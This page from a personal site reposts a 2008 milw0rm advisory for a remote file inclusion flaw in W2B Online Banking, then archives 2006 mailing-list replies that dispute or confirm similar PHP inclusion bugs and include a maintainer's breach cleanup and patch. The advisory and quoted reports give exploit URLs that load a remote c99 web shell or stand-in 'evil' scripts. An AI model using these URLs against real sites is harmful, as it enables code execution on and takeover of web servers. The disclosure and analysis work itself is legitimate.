Ahazu.com logo



Index

Computer-stuff:
Documents
The Forums
Crypto tools
Vulnerabilities

Other stuff:
Southpark episodes
Weblog
AD&D Stuff
Picture Gallery
The Ahazu-song
Facts about Ahazu

Links

Valid XHTML 1.0!


Exploits and Vulnerabilities

remote file include

#########################################################################
        W2B Online Banking Remote File Inclusion Vulnerability
#########################################################################


## AUTHOR: THuM4N
## Email : Win32.exe@w.cn

## Script : W2B Online Banking 

## Site   : http://www.w2b.ru

## Vulnerable CODE :
~~~~~~~~~~/index.php ~~~~~~~~~~~~~~~~~~~~~~
{
    include($_SESSION["ilang"]."/".$_REQUEST["page"].".htm");
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


## EXPLOIT :
http://[HOST]/[Path]/index.php?ilang=http://yoursite.com/c99.txt?
 
 or

http://[HOST]/?ilang=http://yoursite.com/c99.txt?


## SPECIAL GREETZ : 2 All MUSLIM HACKERS.
## AND BIGUP 2 All Attackers Around The World .

#########################################################################
      W2B Online Banking Remote File Inclusion Vulnerability
#########################################################################

# milw0rm.com [2008-04-15]


Replies to this exploit:

From: not@available.com
Sent: Wed 24. May 2006 14:11
This bug was not discovered by SnoB[http://www.cyber-security.org] !!!!!!!!!

It was posted long before yours and has the same description and input examples. Seems like you have stolen it. Thats really lame! 

Here are the original issues:
(Take a look on the release date)

http://www.securityfocus.com/archive/1/433285
http://milw0rm.com/exploits/1769


From: Ventsislav Genchev vigour1@gmail.com
Sent: Tue 30. May 2006 11:39
Tested with register_globals = Off ... no affect..

Regards,
Ventsi

On 5/25/06, beford <xbefordx@gmail.com> wrote:
> Script: V-Webmail 1.6.4
> Vendor: http://www.v-webmail.org/
> Description: V-webmail is a powerful PHP based webmail application with an
> abundance of features, including many innovative ideas for web applications
> Discovered: beford <xbefordx gmail com>
> Vulnerable File
>
> v-webmail/includes/pear/*/*.php => require_once ($CONFIG[pear_dir] . *.php);
> v-webmail/includes/mailaccess/pop3.php =>
> require_once($CONFIG[pear_dir] . Net/POP3.php);
>
> Version 1.3
> http://www.site.th/vwebmail/includes/mailaccess/pop3/core.php?CONFIG[pear_dir]=http://evil
> http://www.woot.com.kh/webmail/includes/mailaccess/pop3/core.php?CONFIG[pear_dir]=http://evil
>
> Version 1.5  - 1.6.4
> http://something.ie/v-webmail/includes/mailaccess/pop3.php?CONFIG[pear_dir]=http://evil
>


From: nukedx@nukedx.com
Sent: Sat 3. Jun 2006 10:15
This is not vulnerable,PHP-Nuke having a special in their files and when includes mainfile.php it overwrites the global variables and it caused to make an arbitrary file inclusion.
But in MyBloggie there is no common vulnerability like it.I checked all files and all versions did not see any vulnerability like you are given.
Regards,
Mustafa Can Bjorn IPEKCI


From: str0ke str0ke@milw0rm.com
Sent: Mon 5. Jun 2006 12:17
The inc directory is filtered with .htaccess (Deny from all).  Still
vulnerable code though :)

/str0ke

On 4 Jun 2006 14:39:27 -0000, selfar2002@hotmail.com
<selfar2002@hotmail.com> wrote:
>
> ---------------------------------------------------------------------------
>
> Bookmark4U <= 2.0.0? ([include_prefix]) Remote File Include Vulnerabilities
>
> ---------------------------------------------------------------------------
>
> Discovered By SnIpEr_SA
>
> Author    : SnIpEr_SA
>
> Remote  :  Yes
>
> Local     :  No
>
> Critical Level : Dangerous
>
> ---------------------------------------------------------------------------
>
>
> Affected software description:
>
> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>
>
> Application : Bookmark4U
>
> version     : 2.0.0
>
> URL         :http://bookmark4u.sourceforge.net/
>
> ...
>
> ------------------------------------------------------------------
>
> Exploit:
>
> ~~~~~~~~
>
> # http://www.site.com/[Bookmark4Upath]/inc/dbase.php?env[include_prefix]=[evil_scripts]
>
> # http://www.site.com/[Bookmark4Upath]/inc/config.php?env[include_prefix]=[evil_scripts]
>
> # http://www.site.com/[Bookmark4Upath]/inc/common.php?env[include_prefix]=[evil_scripts]
>
> # http://www.site.com/[Bookmark4Upath]/inc/function.php?env[include_prefix]=[evil_scripts]
>
>
> ---------------------------------------------------------------------------
>
> */
>
> Contact:
>
>  ~~~~~~~~
>
>  SnIpEr_SA
>
> E-mail: selfar2002@hotmail.com
>
> E-mail: SnIpEr.SA[at]hotMail[dot]com
>
> Homepage: http://www.3asfh.net/  & http://www.lezr.com/
>
> Greetz: All My Frind
>
> /*
>
> -------------------------------- [ END ] ----------------------------------
>
>
>


From: "Steven M. Christey" coley@mitre.org
Sent: Mon 5. Jun 2006 21:52
nukedx said:

>This is not vulnerable,PHP-Nuke having a special in their files and
>when includes mainfile.php it overwrites the global variables and it
>caused to make an arbitrary file inclusion.
>
>But in MyBloggie there is no common vulnerability like it.

In the source code for 2.1.1, many files have code like this:

  $mybloggie_root_path = ./;

  include_once($mybloggie_root_path.config.php);
  ...

so at least there isnt any obvious evidence of this issue, based on a
casual inspection.

Also - "scode.php" as mentioned by MHG does not exist in MyBloggie at
all, so maybe the site has been modified.

- Steve


From: admin@majorsecurity.de
Sent: Tue 6. Jun 2006 15:10
Please update my advisory.
After posting up my advisory I have seen that 2 other php-files are also affected by this vulnerability.

Input passed to the "da_path" parameter in "auth.cookie.inc.php", "auth.header.inc.php" and
"auth.sessions.inc.php" is not properly verified, before it is used to include files.
This can be exploited to execute arbitrary code by including files from external resources.

You can see the updated advisory here:
http://majorsecurity.de/advisory/major_rls8.txt

Greetings,

David Vieira-Kurz



From: "Steven M. Christey" coley@mitre.org
Sent: Tue 13. Jun 2006 17:35
# if ($path){
# $ips = file("$path/lists/bannedips.php");
# } else {
# $ips = file("lists/bannedips.php");
# }
# if (in_array($REMOTE_ADDR,$ips)) {
# echo($bannedmessage);
# die;

There might be a terminology problem here.

I dont see how this can be used to execute code.  Yes, the file()
call could be used to access a file that the attacker can control, but
the only use of the $ips array is in checking for banned addresses.
The use of file() is not the same as include() or require().

So - attackers could use this to bypass a ban against their IP address
because they can control the ban file, but thats not the same as
"inclusion."

- Steve


From: str0ke str0ke@milw0rm.com
Sent: Tue 13. Jun 2006 17:06
> # Simpnews <= All version - Remote File Include Vulnerabilities
> # require_once($path_simpnews./langchk.php);
> # include_once(./language/lang_.$act_lang..php);
> # require_once(./includes/get_settings.inc);
> # require_once(./includes/wap_get_settings.inc);

> # Vulnerable :
> # http://www.victim.com/Simpnews/wap_short_news.php?path_simpnews=Command-Shell

Was this verified on a running site or was this just source inspected?
The below shouldnt be vulnerable with config.php declaring $path_simpnews.

CODE
--------------------------------------
require_once(./config.php);
require_once(./functions.php);
if(!isset($category))
	$category=0;
require_once($path_simpnews./langchk.php);
include_once(./language/lang_.$act_lang..php);
require_once(./includes/get_settings.inc);
require_once(./includes/wap_get_settings.inc);

config.php
--------------------------------------
$path_simpnews = getenv("DOCUMENT_ROOT")."/simpnews";

/str0ke


From: "Steven M. Christey" coley@mitre.org
Sent: Thu 15. Jun 2006 02:26
SpC-x said:

> # Amr Talkbox talkbox.PHP - Remote File Include Vulnerabilities
>
> ...
> # if ($lang == "eng") {
> # include ("$direct/lang_eng.txt");
> # } elseif ($lang =="ita") {
> # include ("$direct/lang_ita.txt");


However, looking at the source code  as available on
http://scripts.ringsworld.com/chat-scripts/amr-talkbox/ , with source
files dated May 2005 and earlier, we have:


   $direct = "languages";									//--->	The folder/directory that contain the language kits.
   
   if ($lang == "eng") {
     include ("$direct/lang_eng.txt");
   } elseif ($lang =="ita") {
     include ("$direct/lang_ita.txt");
   }


in other words - not exploitable.


- Steve


From: t.brehm@ispconfig.org
Sent: Fri 16. Jun 2006 10:05
The Exploit with Bugtraq ID: 17909 has been researched by the developers of the ISPConfig webhosting controlpanel. The result is that no ISPConfig 2.2.2 installation is vulnerable to this reported exploit.

Explanation:

1) The exploit expects a file (session.inc.php) to be in the webroot, but it is not installed in the webroot in any ISPConfig installation and therefore protected against direct calls or attacks.

2) The exploit expects register_globals set to on in the ISPConfig PHP. register_globals is off in all ISPConfig versions in the Apache on port 81.

The Vulnerability has already been discussed by the ISPConfig developers on the 7th. May, 2 days before the bugtraq posting.

For a detailed explanation and discussion, please have a look here:

http://www.howtoforge.com/forums/showthread.php?t=4123


ISPConfig 2.2.3 is not vulnerable to the exploit too and there has been additional coded added that prevents these type of attacks in case someone uses the ISPConfig files in third party projects that do not use the files outside the web root directory.


From: stormhacker@hotmail.com
Sent: Mon 19. Jun 2006 17:05
Hey
look this 
http://www.securityfocus.com/archive/1/428976
i found this bugs in Mar 27 2006 
http://www.worlddefacers.de/Public/WD-TMPLH.txt


From: Marc MERLIN marc_news@merlins.org
Sent: Tue 27. Jun 2006 08:34
--azLHFNyN32YCQGCU
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

On Tue, Jun 20, 2006 at 02:32:16PM -0000, admin@majorsecurity.de wrote:
> Credits:
> ----------------------------------------------
> Discovered by: David "Aesthetico" Vieira-Kurz
> http://www.majorsecurity.de
> 
> Original Advisory:
> ----------------------------------------------
> http://www.majorsecurity.de/advisory/major_rls18.txt
> 
> Affected Products:
> ----------------------------------------------
> RIG 0.7.4(unstable) and prior
> (http://sourceforge.net/project/showfiles.php?group_id=54367&release_id=179661)
> 
> RIG 0.6.45 and 0.7(stable) and prior
> 
> Contacted Vendor:
> ----------------------------------------------
> I have contacted Le Ralf on June, 12th 2006 at 2:37 PM via e-mail, but until today I got no response
> and the bug was still not fixed!!!

So, for the record, Ralf never received the mail, never had a trace of it
reaching its smtp server in his logs, and neither him or I heard back from
Mr Vieira-Kurz when asking for information about that original mail like the
destination or Message-Id.

In other words, instead of giving the author a chance to fix the software,
get/give peer review on the fix, and a chance to the users to upgrade
their servers, his work helped create more nodes in botnets that tried/are
now trying to attack your machines, and send you spam.

Full disclosure is good, but a minimum of effort trying to prevent the
negative and unnecessary effects of it would go a long way to make this
internet a better place.

That said, Ralf fixed the software soon after being really notified (i.e.
his machine being attacked after the info posted here), and the fix can be
found here:
http://rig.powerpulsar.com/#news

The delay in this Email here was to give a chance to Mr Vieira-Kurz to reply
before posting here, but he never did. Whether he never sent the
notification, sent it to the wrong address, or sent it to the right one, but
the internet ate it, we cant say without his cooperation.

Marc
(not the author of RIG, just posting the link here for those who might not 
be on the user list, and didnt get the fix and the original upgrade
announcement attached in this mail)
-- 
"A mouse is a device used to point at the xterm you want to type in" - A.S.R.
Microsoft is to operating systems & security ....
                                      .... what McDonalds is to gourmet cooking
Home page: http://marc.merlins.org/  

--azLHFNyN32YCQGCU
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename=rig

Date: Fri, 23 Jun 2006 14:55:00 -0700
From: Ralf <ralfoide@gmail.com>
Subject: IMPORTANT: Security Vulnerability in RIG

IMPORTANT: Vulnerability found in RIG. Please read!!

A vulnerability has been found in RIG that affects all version:
http://www.securityfocus.com/archive/1/437818/30/0/threaded

Unfortunately the person who advertised the vulnerability did not
contact me prior doing so. My server was actually compromised as well
as one from my friends.

I consequently URGE you to do the following:
1- Stop your apache web server and look for intrusions. See below.
2- Fix RIG as described below or switch to another web-based album
such as Gallery.

===============
1- STOP APACHE AND LOOK AT YOUR SYSTEM
===============
This applies to a Debian distro. Things may be different on another distro.

As root:
# apachectl stop
or
# /etc/init.d/apache stop

Look at your apache logs. Typically youd have been infected started June 21st.
Look for any url containing "check_entry.php" in your apache log files:
# grep check_entry /var/log/apache/*.log

Under debian, apache runs as "www-data" so you want to look at the
activity done by this user (running processes and files created)

If you have full control of the machine and can connect locally,
switch to single-user mode by using "telinit 1" as root. If not,
please stop as many services as you can while you scan your system.

Look in /tmp for anything owned by www-data and delete it.

Look in all your album directories. For example in the directory
pointed to by "dir_abs_src" for me, there was a .tgz file and an
unpacked version of it.

Using "ps wfaux" look for processes still running as www-data.
Typically you may find an "httpd" still running. Try killing it.
Make sure there is no crontab for the www-data user.

Using "locate name" or "find / -name "..." -print", look for these names:
cupu y2kupdate fblast dbspy psybnc eggdrop onebounce

If you find such files, remove them.
Only continue when you think your system is clean. You dont want to
run a compromised host on the internet, it would be used to generate
DOS attacks and send spam and you may be legally demeed responsible.

===============
2-  FIXING RIG
===============

A- Locate any instance of check_entry.php on your disk (generally
installed where index.php is). Edit the function rig_check_src_file()
as following (added lines have a + at the beginning):

//********************************
function rig_check_src_file($name)
//********************************
{
	global $dir_abs_install;
	global $dir_abs_src;
	global $dir_abs_admin_src;
	global $dir_abs_globset;
	global $dir_abs_locset;
	
	// enabling track_errors is a big help
	ini_set("track_errors", "1");

+	// disable auto-globals from CGI params
+	ini_set("register_globals", "0");
+	if (ini_get("register_globals") == 1)
+	{
+	    echo "<h1>RIG Configuration Error</h1>";
+	    echo "<h2>Important!</h2>You MUST disable
<em>register_globals</em> in your PHP.INI file!";
+	}
	
	// check it worked
	$track_errors = (ini_get("track_errors") == 1);

	if ($track_errors)
	    $result = @file_exists($name);
	else
	    $result = file_exists($name);

	if (!$result)
	{
+		// Uncomment the following line for debugging new installations
+	    exit;
	
	    echo "<h1>RIG Configuration Error</h1>";
	    echo "<h2>Error</h2>A source file could not be located! Please
check <em>location.php</em> file!";
	    if ($track_errors)
	        echo "<h2>Reason</h2>$php_errormsg";
	    else
	        echo "<h2>Important!</h2>Please consider enabling
<em>track_errors</em> in your PHP.INI file!";
	    echo "<h2>Details</h2>";
	    echo "<pre>";
	    echo "<b>file path</b>         = $name<br>";
	    echo "<br>";
	    echo "<b>dir_instal</b>        = $dir_abs_install<br>";
	    echo "<b>dir_abs_src</b>       = $dir_abs_src<br>";
	    echo "<b>dir_abs_admin_src</b> = $dir_abs_admin_src<br>";
	    echo "<br>";
	    echo "<b>dir_abs_globset</b>   = $dir_abs_globset<br>";
	    echo "<b>dir_abs_locset</b>    = $dir_abs_locset<br>";
	    echo "</pre>";
	    echo "<hr>";
+	    exit;
	}

	return $name;
}


B- Now locate php.ini, generally in /etc/php4/apache/php.ini on your system.
Edit the file and locate the line "register_globals". Change the
setting from On to Off.

Re-enabled your web server or restart it.
# apachectl restart

To make sure the fix worked:
- create a file foo.php in your public_html with the following content:
<?php echo 123 ?>

then try to compromise your own site as an attacker would do:
http://mywebsite/check_entry.php?dir_abs_src=http://mywebsite/foo.php?
(note the extra ? at the end)

Feel feel free to contact me if you need help performing this.
Easiest way to contact me is with ralfoide@gmail.com
or on Google Talk (http://talk.google.com) I have id "ralfoide"
or on Skype id "ralfoide".


Ralf/

--azLHFNyN32YCQGCU--


From: Ralf ralfoide@gmail.com
Sent: Tue 27. Jun 2006 11:52
This is a follow up to the security vulnerability described in:
http://www.securityfocus.com/archive/1/437818/30/60/threaded

As author and maintainer of RIG (a.k.a. the Ralf Image Gallery), I
made a fix available upstream yesterday:
http://sourceforge.net/project/showfiles.php?group_id=54367

I strongly recommend you grab version 1.0 on Sourceforge or stop using
RIG versions 0.6.5-0.7.5 at once. The choice is yours.

Summary of the fix: a missing exit statement was missing in the entry
point validation. I also added a check to enforce phps
register_globals is turned off.

More details available here:
http://rig.powerpulsar.com/#news

Id usually thank Aesthetico for finding this vulnerability. However
given how this was handled I will refrain. I apologize for the long
delay in providing this fix, mostly due to having to take my server
offline after it had been compromised as a direct consequence of the
vulnerability being exposed without prior notification (email logs
dont lie, despite whatever claim has been  made.)

Ralf/


From: Joxean Koret joxeankoret@yahoo.es
Sent: Thu 13. Jul 2006 21:13
--=-PFu9z2AkYM4w3713YtxR
Content-Type: text/plain; charset=iso-8859-15
Content-Transfer-Encoding: quoted-printable

Hello,

El jue, 13-07-2006 a las 01:35 +0000, matdhule@gmail.com escribi=F3:
>=20
> require_once( $mosConfig_absolute_path .
> /includes/domit/xml_domit_lite_include.php );
>=20
> ------------------------------------------------------------
>=20
> Variables $mosConfig_absolute_path are not properly sanitized. When
> register_globals=3Don
> and allow_fopenurl=3Don an attacker can exploit this vulnerability with
> a
> simple php injection script.

I think that even if allow_fopenurl is not on you can open remote files
by using UNC style paths, such as \mymachinemyresource, of course,
under Win32 environments.

--=20
Zer gutxi balio duen langileen bizitza

--=-PFu9z2AkYM4w3713YtxR
Content-Type: application/pgp-signature; name=signature.asc
Content-Description: Esta parte del mensaje =?ISO-8859-1?Q?est=E1?= firmada
	digitalmente

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.1 (GNU/Linux)

iD8DBQBEtps+U6rFMEYDrlERAjmNAJ4uQAKzv7BlW4Veabh9+xV+wTUHaQCgikYv
sd6HlCg3nCFYgjLKhJxjO+s=
=BPrW
-----END PGP SIGNATURE-----

--=-PFu9z2AkYM4w3713YtxR--


	
	
		
______________________________________________ 
LLama Gratis a cualquier PC del Mundo. 
Llamadas a fijos y móviles desde 1 céntimo por minuto. 
http://es.voice.yahoo.com


From: the.jalal@gmail.com
Sent: Mon 17. Jul 2006 20:38
this exploit wont work. the myadmindir variable is set before any GET variables are processed. sanitation is performed in the previous file.


From: matdhule@gmail.com
Sent: Wed 19. Jul 2006 02:40
I already publish that vulnerability at bugtraq.
See http://www.securityfocus.com/bid/18876 and http://www.securityfocus.com/archive/1/439451.
Thx


From: x0r0n@hotmail.com
Sent: Sat 29. Jul 2006 19:17
I found this bug in 2006-07-27.

exploit here:

http://www.milw0rm.com/exploits/2081


From: Carsten Eilers ceilers-lists@gmx.de
Sent: Sun 13. Aug 2006 14:31
sh3ll@sh3ll.ir schrieb am Sat, 12 Aug 2006 10:03:15 +0000:


>-------------admin.php--------------------------------------
>
>....
>
><=3Fphp
>
>        include=5Fonce($language);
>
>        =3F>
>
>...

Take a look at config.php:

$language =3D "lang=5Feng.php";

an at admin.php:

<=3F
include "config.php";
include=5Fonce(includes/template.php);
include=5Fonce($language);
$template =3D new Template(templates/) ;


Ups... :-)

>-------------event.php--------------------------------------

This one works. BTDT.

>-------------initialize.php-----------------------------------

This one works, too. 

>-------------myevent.php------------------------------------

Have you even tried to run this script=3F

|=A0Parse error: parse error in XXXXXX/myevent/myevent.php on line 4

Missing ; in line 3:

| $myevent=5Fpath =3D""

Oh oh...

>-------------viewevent.php-----------------------------------

This one works, too. 

>PoC:
>
>~~~
>
>http://www.target.com/[myEvent]/admin.php=3Flanguage=3D[Evil Script]
>
>http://www.target.com/[myEvent]/event.php=3Fmyevent=5Fpath=3D[Evil Script]
>
>http://www.target.com/[myEvent]/initialize.php=3Fmyevent=5Fpath=3D[Evil =
Script]
>
>http://www.target.com/[myEvent]/myevent.php=3Fmyevent=5Fpath=3D[Evil =
Script]
>
>http://www.target.com/[myEvent]/viewevent.php=3Fmyevent=5Fpath=3D[Evil =
Script]

Did you test all of them=3F That way=3F
I dont think so.

Regards
  Carsten


-- 
Dipl.-Inform. Carsten Eilers
IT-Sicherheit und Datenschutz

<http://www.ceilers-it.de>




From: Carsten Eilers ceilers-lists@gmx.de
Sent: Sat 19. Aug 2006 00:51
Hi,

crackers_child@sibersavascilar.com schrieb am Fri, 18 Aug 2006 10:04:39 +0000:


>
>Title : Joomla x-shop <= 1.7 Remote File Include Vulnerability
>
>Download :  http://mamboxchange.com/frs/?group_id=187&release_id=1047
>
>
>Bug in admin.x-shop.php
>
>
><?
>
>include($mosConfig_absolute_path./administrator/components/com_x-shop/
>languages/.$mosConfig_lang..php);
>
>session_start();

Strange thinks happens: There is not include in 
the admin.x-shop.php from the archive I downloaded
this evening.
Even stranger: There is no mosConfig_absolute_path
in it, too.
Same with the other files.

What did you test?

Regards
  Carsten

-- 
Dipl.-Inform. Carsten Eilers
IT-Sicherheit und Datenschutz

<http://www.ceilers-it.de>




From: Carsten Eilers ceilers-lists@gmx.de
Sent: Sat 19. Aug 2006 00:51
Hi,

crackers_child@sibersavascilar.com schrieb am Fri, 18 Aug 2006 09:46:12 +0000:

>Title : Joomla Rssxt <= 1.0 Remote File Include Vulnerability

First: There ist no pinger.php or RPC.php in V 1.0.
But they are in 2.0 Beta 1.
So maybe you reportet the wrong version.

>-------------------------------------------
>
>Bug 
>
>
>in pinger.php
>
>
>require("../../configuration.php");
>
>require("../../classes/mambo.php");
>
>require("../../includes/sef.php");
>
>require("$mosConfig_absolute_path/administrator/components/com_rssxt/
>class.rssxt.php");

$mosConfig_absolute_path is set in configuration.php.
If it is not manipulated in classes/mambo.php or
includes/sef.php there ist no way to change it.
Surely not in pinger.php.

>in RPC.php
>
>
>require("../../configuration.php");
>
> ...
Same as above.

>rssxt.php 
>
>
>include($mosConfig_absolute_path."/components/com_rssxt/includes/
>feedcreator.class.php");
>
>require_once( $mosConfig_absolute_path."/administrator/components/
>com_rssxt/class.rssxt.php"); 

rssxt.php checks for direct calls, if you call it
direct you got a die, but no code-execution oder
file inclusion.

No file inclusion at all.

Regards
  Carsten

-- 
Dipl.-Inform. Carsten Eilers
IT-Sicherheit und Datenschutz

<http://www.ceilers-it.de>




From: Carsten Eilers ceilers-lists@gmx.de
Sent: Sat 19. Aug 2006 00:51
Hi,

crackers_child@sibersavascilar.com schrieb am Thu, 17 Aug 2006 21:09:36 +0000:

>Bug &#304;n anjel.index.php
>
>
> include_once( ../../globals.php );
>
> require_once( ../../configuration.php );
>
> require_once( $mosConfig_absolute_path . /includes/joomla.php ); 

$mosConfig_absolute_path is set in configuration.php,
there is no way to manipulate it between the two
line, so there is no vulnerability.

Please take a look at
<http://www.securityfocus.com/archive/1/443225/30/0/threaded>

Regards
  Carsten

-- 
Dipl.-Inform. Carsten Eilers
IT-Sicherheit und Datenschutz

<http://www.ceilers-it.de>




From: Carsten Eilers ceilers-lists@gmx.de
Sent: Thu 24. Aug 2006 00:51
Hi,

D3nGeR@Gmail.CoM schrieb am Fri, 18 Aug 2006 21:52:51 +0000:

>*************************************
>*********************************************
>
>*PHlyMail Lite [PM_[path][lib]=] Remote File Include Vulnerability
>
>*
>
>*------------------------------------
>------------------------------------------------------------------
>
>*     - [Script name: PHlyMail Lite v. 3.4.4 ]
>
>*     - [Script site: http://phlymail.de ]
>
>*------------------------------------
>* Exploit:
>
>*
>
>* http://www.site.com/[phlymail_path]/handlers/email/mod.output.php?
>_PM_[path][lib]=[evil scripit]
>
>*

At the top of this script you find

| if (!defined(_IN_PHM_)) die();

So if you call it direct, which hat to be done to
manipulate _PM_[path][lib], it will die without
any code-execution after this line. 

Regards
  Carsten

-- 
Dipl.-Inform. Carsten Eilers
IT-Sicherheit und Datenschutz

<http://www.ceilers-it.de>




From: Carsten Eilers ceilers-lists@gmx.de
Sent: Thu 24. Aug 2006 00:51
Hi,

h4ck3riran@yahoo.com schrieb am Sun, 20 Aug 2006 07:52:31 +0000:

>> ToendaCMS <=3D 1.0.3 -(tcms=5Fadminister=5Fsite) Remote File Include
>
>----------------------------------------------
>
>>
>
>>Source : 
>
>> include($tcms=5Fadminister=5Fsite./tcms=5Fglobal/database.php)

This is from index.php=3F

Near the top of this script the variable is initalized:

|=A0include=5Fonce(site.php);
|=A0$tcms=5Fadminister=5Fsite =3D $tcms=5Fsite[0][path];

After that I found no way to manipulate $tcms=5Fadminister=5Fsite,
so I see no vulnerability.

Regards
  Carsten


-- 
Dipl.-Inform. Carsten Eilers
IT-Sicherheit und Datenschutz

<http://www.ceilers-it.de>




From: Carsten Eilers ceilers-lists@gmx.de
Sent: Wed 30. Aug 2006 00:12
Hi,

D3nGeR@Gmail.CoM schrieb am Fri, 25 Aug 2006 22:50:11 +0000:

>#####################################
>#############################################
>
>#Jupiter CMS 1.1.5 index.php Remote File Include
>
>#                                   the code
>
>#$template = "default";
>
>#   include "templates/$template/id.php";

Nice try. But as you wrote yourself: $template is
initalized with "default", so what happens to your
template=[Evil Code]? Right, its overwritten, gone,
away.
The result: No vulnerability.

Regards
  Carsten

-- 
Dipl.-Inform. Carsten Eilers
IT-Sicherheit und Datenschutz

<http://www.ceilers-it.de>




From: Carsten Eilers ceilers-lists@gmx.de
Sent: Wed 30. Aug 2006 00:12
Hi,

stormhacker@hotmail.com schrieb am Fri, 25 Aug 2006 19:14:46 +0000:

>Vendor:  CuteNews 1.3.*
>
>-----------------Description---------------
>
>
>$cutepath =  __FILE__;

Here $cutepath is set to the path of this script

>$cutepath = preg_replace( "\search.php", "", $cutepath);
>
>$cutepath = preg_replace( "/search.php", "", $cutepath);

Now the name of the script, search.php, is removed.
As result $cutepath contains the patch to the directory
of search.php...

>require_once("$cutepath/inc/functions.inc.php");

...from where inc/functions.inc.php is included.
Same for show_news.php. 
So where is a vulnerability?

>--------------PoC/Exploit----------------------
>
>
>show_news.php?cutepath=http://host/evil.txt?
>
>search.php?cutepath=http://host/evil.txt?

They dont work

>--------------Solution---------------------
>
>
>No Patch available.

No patch necessary.

>--------------Credit-----------------------
>
>
>Discovered by: rUnViRuS (worlddefacers.de)

Credit for what? A non-existing vulnerability?
OK: Applaus, applaus, applaus... ;-)

Regards
  Carsten

-- 
Dipl.-Inform. Carsten Eilers
IT-Sicherheit und Datenschutz

<http://www.ceilers-it.de>




From: "Steven M. Christey" coley@mitre.org
Sent: Tue 29. Aug 2006 19:57
Frank Reissner said:

>  //comments
>  
>  function phpdigSearch(){
>  
>  Line: 423 <?php include $relative_script_path./libs/htmlheader.php
>  ?>
>  
>  ...
>  }
>
>Please explain us how that should be exploited.

While this statement appears to be in a function declaration, there
would be nested "<?php" tags - a parse error, at least in my PHP 4.

So, this code is "live" within the script, somehow.

And, in fact, if we look at the surrounding context (at least for my
copy of search_function.php), we have this:

        else {
            $t_strings = array_merge($t_mstrings,$t_fstrings);
            phpdigParseTemplate($template,$t_strings,$table_results);
        }
    }
    
    else {
    ?>
    <?php include $relative_script_path./libs/htmlheader.php ?>
    <head>
    <title><?php print $title_message ?></title>
    <?php include $relative_script_path./libs/htmlmetas.php ?>


Notice the "?>" in front of the include statement, which closes off
the first bit of executable code.

So, this looks like it could be exploitable using a direct request to
search_function.php, since at the point of the include, the
$relative_script_path variable is *not* initialized.

Finally - the original pathname suggested a possible third party
module, and in fact, the affected file and referenced code matches
that of phpDig 1.8.8, so this is probably a vulnerability in phpDig
instead of Jetbox.

- Steve


From: Carsten Eilers ceilers-lists@gmx.de
Sent: Wed 30. Aug 2006 20:39
Hi Steve,

Steven M. Christey schrieb am Tue, 29 Aug 2006 19:57:13 -0400:

>Frank Reissner said:
>
>>  //comments
>>  
>>  function phpdigSearch(){
>>  
>>  Line: 423 <?php include $relative_script_path./libs/htmlheader.php
>>  ?>
>>  
>>  ...
>>  }
>>
>>Please explain us how that should be exploited.
>
>While this statement appears to be in a function declaration, there
>would be nested "<?php" tags - a parse error, at least in my PHP 4.

I tested it with PHP 4.3.10 on Mac OS X with Apache 
1.3.33 and the script does nothing. No parse error,
no results. Only a white page.

Local and remote file inclusion tests shows no results,
too.

>So, this code is "live" within the script, somehow.

Maybe. I find it hard to read, some more tabs would
be a got think. :-)

I put a few echo "Test ...";-Lines in the code, that 
one after the last } is the only one wich is executed. 
Bad test, I know, but a "quick$dirty" way to look, which
parts are executed and which not. 

>And, in fact, if we look at the surrounding context (at least for my
>copy of search_function.php), we have this:
>
>        else {
>            $t_strings = array_merge($t_mstrings,$t_fstrings);
>            phpdigParseTemplate($template,$t_strings,$table_results);
>        }
>    }
>    
>    else {
>    ?>
>    <?php include $relative_script_path./libs/htmlheader.php ?>
>    <head>
>    <title><?php print $title_message ?></title>
>    <?php include $relative_script_path./libs/htmlmetas.php ?>
>
>
>Notice the "?>" in front of the include statement, which closes off
>the first bit of executable code.

Im not sure about the defintion of function-definitions.
In a normal script its possible to mix <?...?>-PHP-Code
and HTML-Code, for example if there are many HTML-tags which
otherwise hat to be echoed in PHP. Is this possible inside
a function-definition? The PHP-Manual says nothing about
this (or I didnt found it :-) ).

>So, this looks like it could be exploitable using a direct request to
>search_function.php, since at the point of the include, the
>$relative_script_path variable is *not* initialized.

It someway looks like this, yes.

I tried it with no results, but failing tests are no reliable 
proof for non-inclusion.

But I tend to the conclusion, the whole script is really only
one function-definition.

>Finally - the original pathname suggested a possible third party
>module, and in fact, the affected file and referenced code matches
>that of phpDig 1.8.8, so this is probably a vulnerability in phpDig
>instead of Jetbox.

I take a quick look at PhpDig 1.8.8. 
The search_function.php is mostly the same, here we found
a comment:

// $relative_script_path set in search.php file

Tests (remote and local inclusion) shows no effects. But as
above... no proof. 

Regards
  Carsten

-- 
Dipl.-Inform. Carsten Eilers
IT-Sicherheit und Datenschutz

<http://www.ceilers-it.de>




From: "Steven M. Christey" coley@linus.mitre.org
Sent: Wed 30. Aug 2006 19:12
On Wed, 30 Aug 2006, Carsten Eilers wrote:

> Bad test, I know, but a "quick$dirty" way to look, which
> parts are executed and which not.

Hey, it works :)

> >Notice the "?>" in front of the include statement, which closes off
> >the first bit of executable code.
>
> Im not sure about the defintion of function-definitions.
> In a normal script its possible to mix <?...?>-PHP-Code
> and HTML-Code, for example if there are many HTML-tags which
> otherwise hat to be echoed in PHP. Is this possible inside
> a function-definition? The PHP-Manual says nothing about
> this (or I didnt found it :-) ).

Yes, this is possible, now that Ive looked more closely.

1) A function definition can cross multiple <?php> tags

2) Because of (1), not every <?php> tag will be executed at the moment
   of loading, if its enclosed within a function definition.  The
   affected include statement was isolated within its own <?php> tag,
   which made it seem like it might execute upon loading.

3) You can have also HTML within that function definition, which will be
   printed out when the function is called, not when it is being parsed.

These interesting properties were what confused me.

> >So, this looks like it could be exploitable using a direct request to
> >search_function.php, since at the point of the include, the
> >$relative_script_path variable is *not* initialized.
>
> It someway looks like this, yes.

It looks like this, but the include does fall within the scope of the
function definition, once you merge all the <?php> constructs together.

So, this does not look exploitable.

> But I tend to the conclusion, the whole script is really only
> one function-definition.

I agree.

- Steve

P.S.  Here is some demonstration code to highlight some of what I
mentioned here.

=======================================================

... at the beginning of the file ...<br>
... begin definition for abc() - fragment 1 ...<br>
<?php
function abc () {
  echo "... executing first statement in abc() ...<br>";
?>
<b>... this HTML is within abc()s definition  and will only be printed
out when abc() is called, not when this file is loaded.  Notice how
